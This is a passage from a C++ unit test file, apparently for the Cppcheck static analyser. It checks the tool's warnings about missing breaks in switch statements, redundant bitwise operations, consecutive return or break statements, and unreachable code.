[redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n 